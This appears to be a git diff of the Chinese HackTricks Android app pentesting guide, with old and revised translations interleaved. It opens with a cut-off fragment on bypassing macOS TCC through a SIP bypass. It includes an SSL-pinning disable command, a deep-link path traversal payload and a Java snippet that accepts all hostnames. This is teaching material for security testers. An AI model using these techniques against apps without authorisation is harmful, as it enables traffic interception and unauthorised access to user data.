然而,还有另一种选择可以滥用这个 **SIP 绕过来绕过 TCC**,文件 `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` 是一个需要 TCC 例外的应用程序的允许列表。因此,如果攻击者可以 **移除此文件的 SIP 保护** 并添加自己的 **应用程序**,该应用程序将能够绕过 TCC。\
例如添加终端:
```bash
# Get needed info

View File

@ -1,32 +1,32 @@
# Android 应用程序渗透测试
# Android Applications Pentesting
{{#include ../../banners/hacktricks-training.md}}
## Android 应用程序基础
## Android Applications Basics
强烈建议您首先阅读此页面,以了解与 Android 安全性相关的 **最重要部分和 Android 应用程序中最危险的组件**
强烈建议您开始阅读此页面以了解与Android安全性相关的**最重要部分和Android应用程序中最危险的组件**
{{#ref}}
android-applications-basics.md
{{#endref}}
## ADB (Android 调试桥)
## ADB (Android Debug Bridge)
这是您连接到 Android 设备(模拟或物理)所需的主要工具。\
**ADB** 允许从计算机通过 **USB****网络** 控制设备。此工具使 **文件的双向复制**、**应用程序的安装和卸载**、**执行 shell 命令**、**数据备份**、**读取日志**等功能成为可能。
这是您连接到Android设备模拟或物理的主要工具。\
**ADB** 允许从计算机通过 **USB****网络** 控制设备。此工具使得**双向复制**文件、**安装**和**卸载**应用程序、**执行**shell命令、**备份**数据、**读取**日志等功能成为可能。
查看以下 [**ADB 命令**](adb-commands.md) 列表,以了解如何使用 adb。
查看以下[**ADB命令**](adb-commands.md)列表以了解如何使用adb。
## Smali
有时修改 **应用程序代码** 以访问 **隐藏信息**(可能是经过良好混淆的密码或标志)是很有趣的。然后,反编译 apk、修改代码并重新编译可能会很有趣。\
[**在本教程中**,您可以 **学习如何反编译 APK、修改 Smali 代码并使用新功能重新编译 APK**](smali-changes.md)。这在 **动态分析期间的几项测试中可能非常有用**。因此,**始终记住这种可能性**。
有时修改**应用程序代码**以访问**隐藏信息**可能是经过良好混淆的密码或标志是很有趣的。然后反编译apk、修改代码并重新编译可能会很有趣。\
[**在本教程中**,您可以**学习如何反编译APK修改Smali代码并使用新功能重新编译APK**](smali-changes.md)。这在**动态分析期间的几项测试中可能非常有用**。因此,**始终记住这个可能性**。
## 其他有趣的技巧
## Other interesting tricks
- [ Play 商店中伪装您的位置](spoofing-your-location-in-play-store.md)
- **下载 APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- 从设备提取 APK:
- [Play Store中伪装您的位置](spoofing-your-location-in-play-store.md)
- **下载APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- 从设备提取APK:
```bash
adb shell pm list packages
com.android.insecurebankv2
@ -47,39 +47,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## 静态分析
首先,对于分析 APK您应该**查看 Java 代码**,使用反编译器。\
首先,分析 APK,您应该**查看 Java 代码**,使用反编译器。\
请[**在这里阅读有关不同可用反编译器的信息**](apk-decompilers.md)。
### 寻找有趣的信息
通过查看 APK 的**字符串**,您可以搜索**密码**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** 密钥、**加密**、**蓝牙 UUID**、**令牌**以及任何有趣的内容……甚至查找代码执行的**后门**或身份验证后门(硬编码的管理员凭据)。
仅查看 APK 的**字符串**,您可以搜索**密码**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** 密钥、**加密**、**蓝牙 UUID**、**令牌**以及任何有趣的内容……甚至查找代码执行的**后门**或身份验证后门(硬编码的管理员凭据)。
**Firebase**
特别注意**firebase URL**,并检查其是否配置不当。[有关 Firebase 的更多信息以及如何利用它,请点击这里。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
特别注意**firebase URLs**,并检查其是否配置不当。[有关 Firebase 的更多信息以及如何利用它,请点击这里。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### 应用程序的基本理解 - Manifest.xml, strings.xml
**检查应用程序的 \_Manifest.xml**_\*\* 和 \*\*_**strings.xml**\_\*\* 文件可以揭示潜在的安全漏洞\*\*。这些文件可以通过反编译器访问,或通过将 APK 文件扩展名重命名为 .zip 然后解压缩来访问。
**检查应用程序的 _Manifest.xml__strings.xml_ 文件可以揭示潜在的安全漏洞**。这些文件可以通过反编译器访问,或通过将 APK 文件扩展名重命名为 .zip 然后解压缩来访问。
**Manifest.xml** 中识别的**漏洞**包括:
**从 _Manifest.xml_ 中识别的漏洞包括:**
- **可调试应用程序**:在 _Manifest.xml_ 文件中设置为可调试 (`debuggable="true"`) 的应用程序存在风险,因为它们允许连接,可能导致利用。有关如何利用可调试应用程序的进一步理解,请参考有关在设备上查找和利用可调试应用程序的教程。
- **备份设置**对于处理敏感信息的应用程序,`android:allowBackup="false"` 属性应明确设置,以防止通过 adb 进行未经授权的数据备份,特别是在启用 USB 调试时。
- **网络安全**_res/xml/_ 中的自定义网络安全配置 (`android:networkSecurityConfig="@xml/network_security_config"`) 可以指定安全细节,如证书固定和 HTTP 流量设置。一个例子是允许特定域的 HTTP 流量。
- **可调试应用程序**:在 _Manifest.xml_ 文件中设置为可调试`debuggable="true"`的应用程序存在风险,因为它们允许连接,可能导致利用。有关如何利用可调试应用程序的进一步理解,请参考有关在设备上查找和利用可调试应用程序的教程。
- **备份设置**处理敏感信息的应用程序应明确设置 `android:allowBackup="false"` 属性,以防止通过 adb 进行未经授权的数据备份,特别是在启用 USB 调试时。
- **网络安全**_res/xml/_ 中的自定义网络安全配置`android:networkSecurityConfig="@xml/network_security_config"`可以指定安全细节,如证书固定和 HTTP 流量设置。一个例子是允许特定域的 HTTP 流量。
- **导出活动和服务**:在清单中识别导出的活动和服务可以突出可能被滥用的组件。在动态测试期间的进一步分析可以揭示如何利用这些组件。
- **内容提供者和文件提供者**:暴露的内容提供者可能允许未经授权访问或修改数据。文件提供者的配置也应受到审查。
- **内容提供者和文件提供者**:暴露的内容提供者可能允许未经授权访问或修改数据。文件提供者的配置也应仔细审查。
- **广播接收器和 URL 方案**:这些组件可能被利用进行攻击,特别注意如何管理 URL 方案以防止输入漏洞。
- **SDK 版本**`minSdkVersion``targetSDKVersion``maxSdkVersion` 属性指示支持的 Android 版本,强调出于安全原因不支持过时、易受攻击的 Android 版本的重要性。
**strings.xml** 文件中,可以发现敏感信息,如 API 密钥、自定义模式和其他开发者注释,强调了对这些资源进行仔细审查的必要性。
**strings.xml** 文件中,可以发现敏感信息,如 API 密钥、自定义模式和其他开发者注释,强调了仔细审查这些资源的必要性。
### Tapjacking
**Tapjacking** 是一种攻击,其中**恶意** **应用程序**被启动并**位于受害者应用程序之上**。一旦它可见地遮挡了受害者应用程序,其用户界面被设计成欺骗用户与之交互,同时将交互传递给受害者应用程序。\
**Tapjacking** 是一种攻击,其中**恶意** **应用程序**被启动并**位于受害者应用程序的顶部**。一旦它可见地遮挡了受害者应用程序,其用户界面被设计成欺骗用户与之交互,同时将交互传递给受害者应用程序。\
实际上,它是**让用户无法知道他们实际上是在对受害者应用程序执行操作**。
获取更多信息:
在这里找到更多信息:
{{#ref}}
tapjacking.md
@ -87,9 +87,9 @@ tapjacking.md
### 任务劫持
一个**活动**的**`launchMode`** 设置为**`singleTask`**且没有定义任何 `taskAffinity` 是易受任务劫持的。这意味着,可以安装一个**应用程序**,如果在真实应用程序之前启动,它可能会**劫持真实应用程序的任务**(因此用户将与**恶意应用程序**交互,以为自己在使用真实应用程序)。
一个**活动**的**`launchMode`** 设置为**`singleTask`**,且未定义任何 `taskAffinity`,则容易受到任务劫持。这意味着,如果在真实应用程序之前安装并启动了一个**应用程序**,它可能会**劫持真实应用程序的任务**(因此用户将与**恶意应用程序**交互,以为自己在使用真实应用程序)。
更多信息:
更多信息
{{#ref}}
android-task-hijacking.md
@ -99,12 +99,12 @@ android-task-hijacking.md
**内部存储**
在 Android 中,**存储**在**内部**存储中的文件**设计**为仅由**创建**它们的**应用程序**访问。此安全措施由 Android 操作系统**强制**,通常足以满足大多数应用程序的安全需求。然而,开发人员有时会使用 `MODE_WORLD_READABLE``MODE_WORLD_WRITABLE` 等模式来**允许**文件在不同应用程序之间**共享**。然而,这些模式**并不限制**其他应用程序(包括潜在恶意应用程序)对这些文件的访问。
在 Android 中,**存储**在**内部**存储中的文件**设计**为仅由**创建**它们的**应用程序**访问。此安全措施由 Android 操作系统**强制**执行,通常足以满足大多数应用程序的安全需求。然而,开发有时会使用 `MODE_WORLD_READABLE``MODE_WORLD_WRITABLE` 等模式来**允许**文件在不同应用程序之间**共享**。然而,这些模式**并不限制**其他应用程序(包括潜在恶意应用程序)对这些文件的访问。
1. **静态分析:**
- **确保**仔细审查 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 的使用。这些模式**可能会暴露**文件给**意外或未经授权的访问**
2. **动态分析:**
- **验证**应用程序创建的文件上设置的**权限**。具体来说,**检查**是否有任何文件被**设置为全球可读或可写**。这可能构成重大安全风险,因为这将允许**任何安装在设备上的应用程序**,无论其来源或意图如何,**读取或修改**这些文件。
- **验证**应用程序创建的文件上的**权限**。具体来说,**检查**是否有任何文件被**设置为全球可读或可写**。这可能构成重大安全风险,因为这将允许**任何安装在设备上的应用程序**,无论其来源或意图如何,**读取或修改**这些文件。
**外部存储**
@ -130,34 +130,34 @@ android-task-hijacking.md
- **共享首选项**Android 允许每个应用程序轻松地在路径 `/data/data/<packagename>/shared_prefs/` 中保存 xml 文件,有时可以在该文件夹中找到明文的敏感信息。
- **数据库**Android 允许每个应用程序轻松地在路径 `/data/data/<packagename>/databases/` 中保存 sqlite 数据库,有时可以在该文件夹中找到明文的敏感信息。
### 不安全的 TLS
### TLS 破坏
**接受所有证书**
出于某种原因,有时开发人员会接受所有证书,即使例如主机名与以下代码行不匹配:
出于某种原因,有时开发会接受所有证书,即使例如主机名与以下代码行不匹配:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
```
测试这个的一个好方法是尝试使用一些代理(如 Burp捕获流量,而不在设备中授权 Burp CA。此外您还可以使用 Burp 为不同的主机名生成证书并使用它。
测试这个的一个好方法是尝试使用像 Burp 这样的代理捕获流量,而不在设备中授权 Burp CA。此外您还可以使用 Burp 为不同的主机名生成证书并使用它。
### 破损的加密
**糟糕的密钥管理流程**
一些开发者将敏感数据保存在本地存储中,并用代码中硬编码/可预测的密钥进行加密。这不应该这样做,因为一些反向工程可能允许攻击者提取机密信息。
一些开发者将敏感数据保存在本地存储中,并使代码中硬编码/可预测的密钥进行加密。这是不应该这样做的,因为某些反向工程可能允许攻击者提取机密信息。
**使用不安全和/或过时的算法**
开发者不应该使用**过时的算法**来执行授权**检查**、**存储**或**发送**数据。这些算法包括RC4、MD4、MD5、SHA1……如果**哈希**用于存储密码,例如,应该使用抗暴力破解的哈希并加盐。
开发者不应该使用 **过时的算法** 来执行授权 **检查**、**存储** **发送** 数据。这些算法包括RC4、MD4、MD5、SHA1... 如果 **哈希** 用于存储密码,例如,应该使用抗暴力破解的哈希并加盐。
### 其他检查
- 建议**混淆 APK**,以增加攻击者的反向工程难度。
- 如果应用程序是敏感的(如银行应用),它应该执行**自己的检查以查看手机是否已被root**并采取相应措施。
- 如果应用程序是敏感的(如银行应用),它应该检查是否正在使用**模拟器**。
- 如果应用程序是敏感的(如银行应用),它应该**在执行之前检查自身的完整性**以确认是否被修改。
- 使用 [**APKiD**](https://github.com/rednaga/APKiD) 检查构建 APK 时使用的编译器/打包器/混淆器
- 建议**APK 进行混淆**,以增加攻击者的反向工程难度。
- 如果应用程序是敏感的(如银行应用),它应该执行 **自己的检查以查看手机是否已被 root** 并采取相应措施。
- 如果应用程序是敏感的(如银行应用),它应该检查是否正在使用 **模拟器**
- 如果应用程序是敏感的(如银行应用),它应该 **在执行之前检查自身的完整性** 以确认是否被修改。
- 使用 [**APKiD**](https://github.com/rednaga/APKiD) 检查构建 APK 时使用了哪个编译器/打包工具/混淆器。
### React Native 应用程序
@ -177,17 +177,17 @@ react-native-application.md
### 超级打包应用程序
根据这篇 [**博客文章**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) 超级打包是一种将应用程序内容压缩为单个文件的 Meta 算法。博客讨论了创建一个解压这些应用程序的应用的可能性……以及一种更快的方法,涉及**执行应用程序并从文件系统收集解压的文件。**
根据这篇 [**博客文章**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) 超级打包是一种将应用程序内容压缩为单个文件的 Meta 算法。博客讨论了创建一个可以解压这些应用程序的应用的可能性……以及一种更快的方法,涉及 **执行应用程序并从文件系统收集解压的文件。**
### 自动化静态代码分析
工具 [**mariana-trench**](https://github.com/facebook/mariana-trench) 能够通过**扫描**应用程序的**代码**来发现**漏洞**。该工具包含一系列**已知源**(指示工具**用户控制输入的地方**)、**汇**(指示工具**危险的地方**,恶意用户输入可能造成损害)和**规则**。这些规则指示**源-汇**的**组合**,表明存在漏洞。
工具 [**mariana-trench**](https://github.com/facebook/mariana-trench) 能够通过 **扫描** 应用程序的 **代码** 来发现 **漏洞**。该工具包含一系列 **已知源**(指示工具 **用户控制的输入****位置**)、**汇**(指示工具 **危险** **位置**,恶意用户输入可能造成损害)和 **规则**。这些规则指示 **源-汇****组合**,表明存在漏洞。
通过这些知识,**mariana-trench 将审查代码并找到可能的漏洞**。
### 泄露的秘密
应用程序可能包含秘密API 密钥、密码、隐藏的 URL、子域名……在其中您可能能够发现。您可以使用工具如 [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
应用程序可能包含秘密API 密钥、密码、隐藏的 URL、子域名……在其中您可能能够发现。您可以使用 [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) 这样的工具。
### 绕过生物识别认证
@ -197,10 +197,10 @@ bypass-biometric-authentication-android.md
### 其他有趣的功能
- **代码执行**`Runtime.exec(), ProcessBuilder(), native code:system()`
- **发送短信**`sendTextMessage, sendMultipartTestMessage`
- **声明为 `native` 的本地函数**`public native, System.loadLibrary, System.load`
- [阅读此文以了解**如何反向工程本地函数**](reversing-native-libraries.md)
- **代码执行** `Runtime.exec(), ProcessBuilder(), native code:system()`
- **发送短信** `sendTextMessage, sendMultipartTestMessage`
- **声明为 `native` 的本地函数** `public native, System.loadLibrary, System.load`
- [阅读此文以了解 **如何反向工程本地函数**](reversing-native-libraries.md)
### **其他技巧**
@ -214,100 +214,100 @@ content-protocol.md
## 动态分析
> 首先,您需要一个可以安装应用程序和所有环境(主要是 Burp CA 证书、Drozer 和 Frida的环境。因此强烈建议使用已 root 的设备(无论是模拟的还是非模拟的)。
> 首先,您需要一个可以安装应用程序和所有环境(主要是 Burp CA 证书、Drozer 和 Frida的环境。因此强烈建议使用一个已 root 的设备(无论是模拟的还是实际的)。
### 在线动态分析
您可以在 [https://appetize.io/](https://appetize.io) 创建一个**免费账户**。该平台允许您**上传**和**执行** APK因此它对于查看 APK 的行为非常有用。
您可以在 [https://appetize.io/](https://appetize.io) 创建一个 **免费账户**。该平台允许您 **上传** **执行** APK因此它对于查看 APK 的行为非常有用。
您甚至可以在网页上**查看应用程序的日志**并通过**adb**连接。
您甚至可以在网页上 **查看应用程序的日志** 并通过 **adb** 连接。
![](<../../images/image (831).png>)
通过 ADB 连接,您可以在模拟器中使用**Drozer**和**Frida**。
通过 ADB 连接,您可以在模拟器中使用 **Drozer** **Frida**
### 本地动态分析
#### 使用模拟器
- [**Android Studio**](https://developer.android.com/studio)(您可以创建**x86**和**arm**设备,并且根据[**这个**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**最新的 x86** 版本**支持 ARM 库**,无需使用慢速的 arm 模拟器)。
- 在此页面学习如何设置:
- [**Android Studio**](https://developer.android.com/studio)(您可以创建 **x86** **arm** 设备,并且根据 [**这个**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**最新的 x86** 版本 **支持 ARM 库**,无需使用慢速的 arm 模拟器)。
- 学习如何在此页面上设置:
{{#ref}}
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(免费版:**个人版您需要创建一个账户。_建议**下载**带有_**VirtualBox**的版本以避免潜在错误。_)
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(免费版:**个人版您需要创建一个账户。_建议 **下载** 带有_ _**VirtualBox** 的版本以避免潜在错误。_
- [**Nox**](https://es.bignox.com)(免费,但不支持 Frida 或 Drozer
> [!NOTE]
> 创建新模拟器时,请记住,屏幕越大,模拟器运行越慢。因此,如果可能,请选择小屏幕。
要在 Genymotion 中**安装 Google 服务**(如 AppStore您需要单击以下图像中红色标记的按钮
要在 Genymotion 中 **安装 Google 服务**(如 AppStore您需要单击以下图像中红色标记的按钮
![](<../../images/image (277).png>)
此外,请注意在 Genymotion 的**Android VM 配置中**,您可以选择**桥接网络模式**(这在您将从不同的 VM 连接到 Android VM 时会很有用)。
此外,请注意在 **Genymotion 中的 Android VM 配置** 中,您可以选择 **桥接网络模式**(这在您将从不同的 VM 连接到 Android VM 时会很有用)。
#### 使用物理设备
您需要激活**调试**选项,如果您能**root**它,那就更好了:
您需要激活 **调试** 选项,如果您能 **root** 它,那就更好了:
1. **设置**
2. (从 Android 8.0 开始)选择**系统**。
3. 选择**关于手机**。
4. 按**构建号** 7 次。
5. 返回,您将找到**开发者选项**。
2. (从 Android 8.0 开始)选择 **系统**
3. 选择 **关于手机**
4. 按 **构建号** 7 次。
5. 返回,您将找到 **开发者选项**
> 一旦您安装了应用程序,您首先应该做的是尝试它并调查它的功能、工作原理,并与之熟悉。\
> 我建议使用 MobSF 动态分析 + pidcat 进行此初步动态分析,这样我们就可以在 MobSF **捕获**大量**有趣的**数据时**了解应用程序的工作原理**,您可以稍后查看这些数据
> 一旦您安装了应用程序,您首先应该尝试它并调查它的功能、工作原理,并与之熟悉。\
> 我建议使用 MobSF 动态分析 + pidcat 进行此初步动态分析,这样我们就可以在 MobSF **捕获** 大量 **有趣的** **数据** 供您稍后查看的同 **了解应用程序的工作原理**。
### 意外数据泄露
**日志记录**
开发者应谨慎公开**调试信息**,因为这可能导致敏感数据泄露。建议使用工具 [**pidcat**](https://github.com/JakeWharton/pidcat) 和 `adb logcat` 监控应用程序日志,以识别和保护敏感信息。**Pidcat**因其易用性和可读性而受到青睐。
开发者应谨慎公开 **调试信息**,因为这可能导致敏感数据泄露。推荐使用工具 [**pidcat**](https://github.com/JakeWharton/pidcat) 和 `adb logcat` 监控应用程序日志,以识别和保护敏感信息。**Pidcat** 因其易用性和可读性而受到青睐。
> [!WARNING]
> 请注意,从**Android 4.0 及更高版本**开始,**应用程序只能访问自己的日志**。因此,应用程序无法访问其他应用的日志。\
> 无论如何,仍然建议**不要记录敏感信息**。
> 请注意,从 **Android 4.0 及更高版本** 开始,**应用程序只能访问自己的日志**。因此,应用程序无法访问其他应用的日志。\
> 无论如何,仍然建议 **不要记录敏感信息**
**复制/粘贴缓冲区缓存**
Android 的**基于剪贴板**的框架使应用程序能够实现复制粘贴功能,但由于**其他应用程序**可以**访问**剪贴板,可能会暴露敏感数据。因此,至关重要的是**禁用敏感部分的复制/粘贴**功能,例如信用卡详细信息,以防止数据泄露。
Android 的 **基于剪贴板** 的框架使应用程序能够实现复制粘贴功能,但也带来了风险,因为 **其他应用程序** 可以 **访问** 剪贴板,可能会暴露敏感数据。对于应用程序的敏感部分,如信用卡详细信息,至关重要的是 **禁用复制/粘贴** 功能,以防止数据泄露。
**崩溃日志**
如果应用程序**崩溃**并**保存日志**,这些日志可能会帮助攻击者,特别是当应用程序无法被反向工程时。为了降低这种风险,避免在崩溃时记录日志,如果必须通过网络传输日志,请确保通过 SSL 通道发送以确保安全。
如果应用程序 **崩溃** **保存日志**,这些日志可能会帮助攻击者,特别是当应用程序无法被反向工程时。为了降低风险,避免在崩溃时记录日志,如果必须通过网络传输日志,请确保通过 SSL 通道发送以确保安全。
作为渗透测试者,**请尝试查看这些日志**。
**发送给第三方的分析数据**
应用程序通常集成像 Google Adsense 这样的服务,由于开发者的不当实现,可能会无意中**泄露敏感数据**。为了识别潜在的数据泄露,建议**拦截应用程序的流量**并检查是否有任何敏感信息被发送到第三方服务。
应用程序通常集成像 Google Adsense 这样的服务,由于开发者的不当实现,可能会 **泄露敏感数据**。为了识别潜在的数据泄露,建议 **拦截应用程序的流量** 并检查是否有任何敏感信息被发送到第三方服务。
### SQLite 数据库
大多数应用程序将使用**内部 SQLite 数据库**来保存信息。在渗透测试期间,请**查看**创建的**数据库**、**表**和**列**的名称以及所有保存的**数据**,因为您可能会发现**敏感信息**(这将是一个漏洞)。\
数据库应位于 `/data/data/the.package.name/databases`,如 `/data/data/com.mwr.example.sieve/databases`
大多数应用程序将使用 **内部 SQLite 数据库** 来保存信息。在渗透测试期间,查看创建的 **数据库**、**表** **列** 的名称以及所有保存的 **数据**,因为您可能会发现 **敏感信息**(这将是一个漏洞)。\
数据库应位于 `/data/data/the.package.name/databases`,如 `/data/data/com.mwr.example.sieve/databases`
如果数据库保存机密信息并且是**加密的**,但您可以在应用程序中**找到**密码,这仍然是一个**漏洞**
如果数据库保存机密信息并且 **加密** 但您可以在应用程序中 **找到** **密码**,这仍然是一个 **漏洞**
使用 `.tables` 枚举表,使用 `.schema <table_name>` 枚举表的列。
### Drozer利用活动、内容提供者和服务
来自 [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)**Drozer** 允许您**假设 Android 应用程序的角色**并与其他应用程序交互。它可以做**任何已安装应用程序可以做的事情**,例如利用 Android 的进程间通信IPC机制并与底层操作系统交互。\
Drozer 是一个有用的工具,可以**利用导出活动、导出服务和内容提供者**,正如您将在以下部分中学习的那样。
来自 [Drozer 文档](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)**Drozer** 允许您 **假设 Android 应用程序的角色** 并与其他应用程序交互。它可以做 **任何已安装应用程序可以做的事情**,例如利用 Android 的进程间通信IPC机制并与底层操作系统交互。\
Drozer 是一个有用的工具,可以 **利用导出活动、导出服务和内容提供者**,正如您将在以下部分中学习的那样。
### 利用导出活动
[**如果您想刷新 Android 活动的概念,请阅读此文。**](android-applications-basics.md#launcher-activity-and-other-activities)\
还要记住,活动的代码从**`onCreate`** 方法开始。
还要记住,活动的代码从 **`onCreate`** 方法开始。
**授权绕过**
当一个活动被导出时,您可以从外部应用程序调用其界面。因此,如果一个包含**敏感信息**的活动被**导出**,您可能会**绕过**访问它的**身份验证**机制
当一个活动被导出时,您可以从外部应用程序调用其界面。因此,如果一个包含 **敏感信息** 的活动被 **导出**,您可以 **绕过** **认证** 机制 **以访问它**
[**了解如何使用 Drozer 利用导出活动。**](drozer-tutorial/index.html#activities)
@ -329,7 +329,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
#### Tapjacking
如果没有防止 tapjacking你可能会滥用导出的活动使 **用户执行意外操作**。有关 [**tapjacking 的更多信息,请查看链接**](#tapjacking)。
如果防止 tapjacking你可能会滥用导出的活动使 **用户执行意外操作**。有关 [**tapjacking 的更多信息,请查看链接**](#tapjacking)。
### 利用内容提供者 - 访问和操纵敏感信息
@ -343,7 +343,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
[**如果你想刷新服务是什么,请阅读此内容。**](android-applications-basics.md#services)\
请记住,服务的操作始于方法 `onStartCommand`
服务基本上是可以 **接收数据**、**处理** 数据并 **返回**(或不返回)响应的东西。因此,如果一个应用程序导出了一些服务,你应该 **检查****代码** 以了解其功能,并 **动态测试** 以提取机密信息、绕过身份验证措施...\
服务基本上是可以 **接收数据**、**处理** 数据并 **返回**(或不返回)响应的东西。因此,如果一个应用程序导出了一些服务,你应该 **检查****代码** 以了解它在做什么,并 **动态测试** 以提取机密信息、绕过身份验证措施...\
[**学习如何使用 Drozer 利用服务。**](drozer-tutorial/index.html#services)
### **利用广播接收器**
@ -356,8 +356,8 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
### **利用方案 / 深度链接**
你可以手动查找深度链接,使用像 MobSF 这样的工具或像 [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) 的脚本。\
你可以使用 **adb****浏览器** **打开** 声明的 **方案**:
你可以手动查找深度链接,使用像 MobSF 这样的工具或像 [这个](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) 的脚本。\
你可以使用 **adb****浏览器** 打开声明的 **方案**:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
@ -380,8 +380,8 @@ _请注意您可以**省略包名**,手机将自动调用应该打开该链
**路径中的参数**
您**还必须检查任何深度链接是否在 URL 的路径中使用参数**,例如:`https://api.example.com/v1/users/{username}`,在这种情况下,您可以强制路径遍历,访问类似于:`example://app/users?username=../../unwanted-endpoint%3fparam=value`。\
请注意,如果您在应用程序中找到正确的端点,您可能能够导致**开放重定向**(如果路径的一部分用作域名)**账户接管**(如果您可以在没有 CSRF 令牌的情况下修改用户详细信息,并且漏洞端点使用了正确的方法)以及任何其他漏洞。更多[信息在这里](http://dphoeniixx.com/2020/12/13-2/)。
您**还必须检查任何深度链接是否在 URL 的路径中使用参数**,例如:`https://api.example.com/v1/users/{username}`,在这种情况下,您可以强制路径遍历,访问类似于:`example://app/users?username=../../unwanted-endpoint%3fparam=value` 的内容。\
请注意,如果您在应用程序中找到正确的端点,您可能能够导致**开放重定向**(如果路径的一部分用作域名)**账户接管**(如果您可以在没有 CSRF 令牌的情况下修改用户详细信息,并且漏洞端点使用了正确的方法)以及任何其他漏洞。更多[信息在这里](http://dphoeniixx.com/2020/12/13-2/)。
**更多示例**
@ -390,7 +390,7 @@ _请注意您可以**省略包名**,手机将自动调用应该打开该链
### 传输层检查和验证失败
- **证书并不总是被 Android 应用程序正确检查**。这些应用程序常常忽视警告,接受自签名证书,或者在某些情况下,恢复使用 HTTP 连接。
- **SSL/TLS 握手期间的协商有时弱**使用不安全的密码套件。此漏洞使连接容易受到中间人MITM攻击允许攻击者解密数据。
- **SSL/TLS 握手期间的协商有时弱**使用不安全的密码套件。此漏洞使连接容易受到中间人MITM攻击允许攻击者解密数据。
- **私密信息泄露**是一个风险,当应用程序通过安全通道进行身份验证,但随后在其他交易中通过非安全通道进行通信。这种方法未能保护敏感数据,例如会话 cookie 或用户详细信息,免受恶意实体的拦截。
#### 证书验证
@ -403,7 +403,7 @@ SSL 钉扎是一种安全措施,应用程序将服务器的证书与存储在
#### 流量检查
要检查 HTTP 流量,必须**安装代理工具的证书**例如Burp。如果不安装此证书加密流量可能无法通过代理可见。有关安装自定义 CA 证书的指南,[**请点击这里**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)。
要检查 HTTP 流量,必须**安装代理工具的证书**例如Burp。如果不安装此证书经过加密流量可能无法通过代理可见。有关安装自定义 CA 证书的指南,[**请点击这里**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)。
针对**API Level 24 及以上**的应用程序需要修改网络安全配置以接受代理的 CA 证书。这一步对于检查加密流量至关重要。有关修改网络安全配置的说明,[**请参考此教程**](make-apk-accept-ca-certificate.md)。
@ -411,15 +411,15 @@ SSL 钉扎是一种安全措施,应用程序将服务器的证书与存储在
当实施 SSL 钉扎时,绕过它成为检查 HTTPS 流量的必要条件。为此有多种方法可用:
- 自动**修改** **apk**以**绕过** SSLPinning使用[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)。此选项的最大优点是,您无需 root 权限即可绕过 SSL 钉扎,但您需要删除应用程序并重新安装新版本,这并不总是有效。
- 自动**修改** **apk**以**绕过** SSLPinning使用[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)。此选项的最大优点是,您无需 root 即可绕过 SSL 钉扎,但您需要删除应用程序并重新安装新版本,这并不总是有效。
- 您可以使用**Frida**(下面讨论)来绕过此保护。这里有一个使用 Burp+Frida+Genymotion 的指南:[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- 您还可以尝试使用[**objection**](frida-tutorial/objection-tutorial.md)**自动绕过 SSL 钉扎**`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- 您还可以尝试使用**MobSF 动态分析**(下面解释)**自动绕过 SSL 钉扎**
- 如果您仍然认为有一些流量未被捕获,您可以尝试**使用 iptables 将流量转发到 burp**。阅读此博客:[https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### 寻找常见的网络漏洞
#### 寻找常见的 Web 漏洞
在应用程序中搜索常见的网络漏洞也很重要。有关识别和缓解这些漏洞的详细信息超出了本摘要的范围,但在其他地方有广泛的覆盖。
在应用程序中搜索常见的 Web 漏洞也很重要。有关识别和缓解这些漏洞的详细信息超出了本摘要的范围,但在其他地方有广泛的覆盖。
### Frida
